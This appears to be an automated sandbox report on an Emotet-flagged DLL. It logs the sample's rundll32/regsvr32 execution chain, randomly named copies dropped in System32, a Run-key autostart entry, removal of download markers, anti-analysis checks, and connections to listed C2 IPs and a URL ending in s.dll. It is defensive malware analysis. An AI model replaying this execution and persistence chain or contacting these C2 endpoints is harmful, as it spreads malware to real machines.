Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000FF64	4_2_000000018000FF64
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000C364	4_2_000000018000C364
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000E368	4_2_000000018000E368
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018001E76C	4_2_000000018001E76C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180018778	4_2_0000000180018778
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180012780	4_2_0000000180012780
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018001FB88	4_2_000000018001FB88
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180013B88	4_2_0000000180013B88
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180022B8C	4_2_0000000180022B8C
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000CB8D	4_2_000000018000CB8D
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180008FA0	4_2_0000000180008FA0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180014FA4	4_2_0000000180014FA4
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00000001800197AC	4_2_00000001800197AC
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00000001800257B4	4_2_00000001800257B4
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180013FE0	4_2_0000000180013FE0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000F3E0	4_2_000000018000F3E0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000020F1C560000	4_2_0000020F1C560000

Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior

Source: DVvzRulsoR.dll

Virustotal: Detection: 43%

Source: DVvzRulsoR.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll64.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll64.exe loaddll64.exe "C:\Users\user\Desktop\DVvzRulsoR.dll"
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\DVvzRulsoR.dll",#1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\DVvzRulsoR.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\DVvzRulsoR.dll",#1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\DVvzRulsoR.dll,DllRegisterServer
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\BBtfDITJMLhY\HkJOPwKLEPOb.dll"
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\LvIwYhCVKH\jtinUyBvITUVMo.dll"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\MlZgEhEmvETvuuKKb\FtRB.dll"
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\YXMhjfj\dQLLbSGEfyZr.dll"
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe" "C:\Windows\system32\BBtfDITJMLhY\HkJOPwKLEPOb.dll
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Users\user\AppData\Local\XtBBL\BJjqJz.dll"
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\DVvzRulsoR.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\DVvzRulsoR.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\DVvzRulsoR.dll,DllRegisterServer	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\YXMhjfj\dQLLbSGEfyZr.dll"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\DVvzRulsoR.dll",#1	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\MlZgEhEmvETvuuKKb\FtRB.dll"	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\BBtfDITJMLhY\HkJOPwKLEPOb.dll"	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\LvIwYhCVKH\jtinUyBvITUVMo.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Users\user\AppData\Local\XtBBL\BJjqJz.dll"	Jump to behavior

Source: C:\Windows\System32\loaddll64.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

File created: C:\Users\user\AppData\Local\XtBBL\

Jump to behavior

Source: classification engine

Classification label: mal84.troj.evad.winDLL@21/0@0/49

Source: C:\Windows\System32\loaddll64.exe

Code function: 0_2_00007FFE354F3CB0 CreateWindowExW,RegisterTouchWindow,MessageBoxW,CoCreateInstance,new,ShowWindow,UpdateWindow,

0_2_00007FFE354F3CB0

Source: C:\Windows\System32\loaddll64.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\loaddll64.exe

Code function: 0_2_0000000180005DB4 FindCloseChangeNotification,Process32NextW,CreateToolhelp32Snapshot,Process32FirstW,

0_2_0000000180005DB4

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\DVvzRulsoR.dll",#1

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:732:120:WilError_01

Source: C:\Windows\System32\regsvr32.exe	Automated click: OK
Source: C:\Windows\System32\regsvr32.exe	Automated click: OK
Source: C:\Windows\System32\regsvr32.exe	Automated click: OK
Source: C:\Windows\System32\regsvr32.exe	Automated click: OK
Source: C:\Windows\System32\regsvr32.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: DVvzRulsoR.dll

Static PE information: Image base 0x180000000 > 0x60000000

Source: DVvzRulsoR.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: DVvzRulsoR.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: DVvzRulsoR.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: DVvzRulsoR.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: DVvzRulsoR.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: DVvzRulsoR.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: DVvzRulsoR.dll

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source: DVvzRulsoR.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: DVvzRulsoR.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: DVvzRulsoR.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: DVvzRulsoR.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: DVvzRulsoR.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: DVvzRulsoR.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_00007FFE354E8909 push rdi; ret	0_2_00007FFE354E8912
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_00007FFE354E837D push rdi; ret	0_2_00007FFE354E8384
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_000000018001E0D3 push 09B8E1F7h; retf	0_2_000000018001E0DD
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_000000018001E0E9 push 8B48E1F7h; retf	0_2_000000018001E0F1
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180023127 push ebp; ret	0_2_0000000180023128
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_000000018001E5C5 pushad ; ret	0_2_000000018001E5C7
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180022E55 push ebp; retf	0_2_0000000180022E56
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180023A7E push ebp; ret	0_2_0000000180023A86
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_0000000180022F5E push ebp; ret	0_2_0000000180022F64
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_000000018000838C push eax; ret	0_2_000000018000838E
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00007FFE354E8909 push rdi; ret	3_2_00007FFE354E8912
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00007FFE354E837D push rdi; ret	3_2_00007FFE354E8384
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001E0D3 push 09B8E1F7h; retf	3_2_000000018001E0DD
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001E0E9 push 8B48E1F7h; retf	3_2_000000018001E0F1
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180023127 push ebp; ret	3_2_0000000180023128
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018001E5C5 pushad ; ret	3_2_000000018001E5C7
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180022E55 push ebp; retf	3_2_0000000180022E56
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180023A7E push ebp; ret	3_2_0000000180023A86
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180022F5E push ebp; ret	3_2_0000000180022F64
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000838C push eax; ret	3_2_000000018000838E
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018001E0D3 push 09B8E1F7h; retf	4_2_000000018001E0DD
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018001E0E9 push 8B48E1F7h; retf	4_2_000000018001E0F1
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180023127 push ebp; ret	4_2_0000000180023128
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018001E5C5 pushad ; ret	4_2_000000018001E5C7
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180022E55 push ebp; retf	4_2_0000000180022E56
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180023A7E push ebp; ret	4_2_0000000180023A86
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_0000000180022F5E push ebp; ret	4_2_0000000180022F64
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_000000018000838C push eax; ret	4_2_000000018000838E

Source: DVvzRulsoR.dll	Static PE information: section name: .gxfg
Source: DVvzRulsoR.dll	Static PE information: section name: .gehcont

Source: C:\Windows\System32\loaddll64.exe

Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\DVvzRulsoR.dll

Source: C:\Windows\System32\rundll32.exe

PE file moved: C:\Windows\System32\BBtfDITJMLhY\HkJOPwKLEPOb.dll

Jump to behavior

Boot Survival

Creates an autostart registry key pointing to binary in C:\Windows

Source: C:\Windows\System32\regsvr32.exe

Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HkJOPwKLEPOb.dll

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HkJOPwKLEPOb.dll			Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HkJOPwKLEPOb.dll			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\System32\loaddll64.exe	File opened: C:\Windows\system32\YXMhjfj\dQLLbSGEfyZr.dll:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Windows\system32\MlZgEhEmvETvuuKKb\FtRB.dll:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\system32\BBtfDITJMLhY\HkJOPwKLEPOb.dll:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\system32\LvIwYhCVKH\jtinUyBvITUVMo.dll:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Users\user\AppData\Local\XtBBL\BJjqJz.dll:Zone.Identifier read attributes \| delete	Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe TID: 3080

Thread sleep time: -60000s >= -30000s

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\regsvr32.exe

API coverage: 8.9 %

Source: C:\Windows\System32\loaddll64.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_00007FFE354EC334 FindFirstFileExW,		0_2_00007FFE354EC334
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00007FFE354EC334 FindFirstFileExW,		3_2_00007FFE354EC334

Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: rundll32.exe, 00000005.00000003.252134799.0000015726EF7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{e6e9dfd8-98f2-11e9-90ce-806e6f6e6963}\
Source: regsvr32.exe, 00000006.00000003.495071901.0000000000B88000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.366570013.0000000000B3E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.638859092.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.638627109.0000000000B40000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.495361411.0000000000B3E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.366722075.0000000000B85000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.494953883.0000000000B85000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.495488738.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.495512072.0000000000B8C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\loaddll64.exe

Code function: 0_2_00007FFE354E9474 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FFE354E9474

Source: C:\Windows\System32\loaddll64.exe

Code function: 0_2_00007FFE354EDD90 GetProcessHeap,

0_2_00007FFE354EDD90

Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_00007FFE354E9474 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FFE354E9474
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_00007FFE354E4944 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FFE354E4944
Source: C:\Windows\System32\loaddll64.exe	Code function: 0_2_00007FFE354E3AD0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FFE354E3AD0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00007FFE354E9474 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FFE354E9474
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00007FFE354E4944 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FFE354E4944
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00007FFE354E3AD0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00007FFE354E3AD0

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe	Network Connect: 115.178.55.22 80			Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 172.105.115.71 8080			Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\DVvzRulsoR.dll",#1

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Windows\System32\loaddll64.exe

Code function: 0_2_00007FFE354EAB50 cpuid

0_2_00007FFE354EAB50

Source: C:\Windows\System32\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\loaddll64.exe

Code function: 0_2_00007FFE354E4A94 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FFE354E4A94

Stealing of Sensitive Information

Yara detected Emotet

Source: Yara match	File source: 17.2.regsvr32.exe.a70000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll64.exe.27280100000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.20f1c530000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.15728870000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.15728870000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.660000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.regsvr32.exe.a70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.20f1c530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.660000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.regsvr32.exe.ab0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.regsvr32.exe.ab0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll64.exe.27280100000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.409037530.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.253841528.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.638288631.0000000000AB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.254964190.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.256651400.0000015728870000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.254773052.0000020F1C530000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.256329327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.256727170.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.408396292.0000000000A70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.263381284.0000027280100000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.639586735.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	11 Registry Run Keys / Startup Folder	111 Process Injection	21 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	2 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	11 Registry Run Keys / Startup Folder	1 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	1 DLL Side-Loading	111 Process Injection	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Hidden Files and Directories	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Regsvr32	Cached Domain Credentials	24 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Rundll32	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 File Deletion	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
DVvzRulsoR.dll	44%	Virustotal		Browse

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
6.2.regsvr32.exe.ab0000.0.unpack	100%	Avira	HEUR/AGEN.1215461	Download File
17.2.regsvr32.exe.a70000.0.unpack	100%	Avira	HEUR/AGEN.1215461	Download File
5.2.rundll32.exe.15728870000.0.unpack	100%	Avira	HEUR/AGEN.1215461	Download File
4.2.rundll32.exe.20f1c530000.0.unpack	100%	Avira	HEUR/AGEN.1215461	Download File
3.2.regsvr32.exe.660000.0.unpack	100%	Avira	HEUR/AGEN.1215461	Download File
0.2.loaddll64.exe.27280100000.0.unpack	100%	Avira	HEUR/AGEN.1215461	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://172.105.115.71:8080/wwyvvucvxqws/mizawg/mkzlwgu/	0%	Avira URL Cloud	safe
https://172.105.115.71:8080/wwyvvucvxqws/mizawg/mkzlwgu/s.dll	0%	Avira URL Cloud	safe
https://172.105.115.71:8080/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://172.105.115.71:8080/wwyvvucvxqws/mizawg/mkzlwgu/	regsvr32.exe, 00000006.00000003.366985118.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.494760350.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.495171028.0000000000B46000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.366581124.0000000000B45000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.638742610.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.495443302.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://172.105.115.71:8080/	regsvr32.exe, 00000006.00000003.366985118.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.494760350.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.638742610.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.495443302.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://172.105.115.71:8080/wwyvvucvxqws/mizawg/mkzlwgu/s.dll	regsvr32.exe, 00000006.00000003.366985118.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.494760350.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.638742610.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.495443302.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.105.115.71	unknown	United States	63949	LINODE-APLinodeLLCUS	true
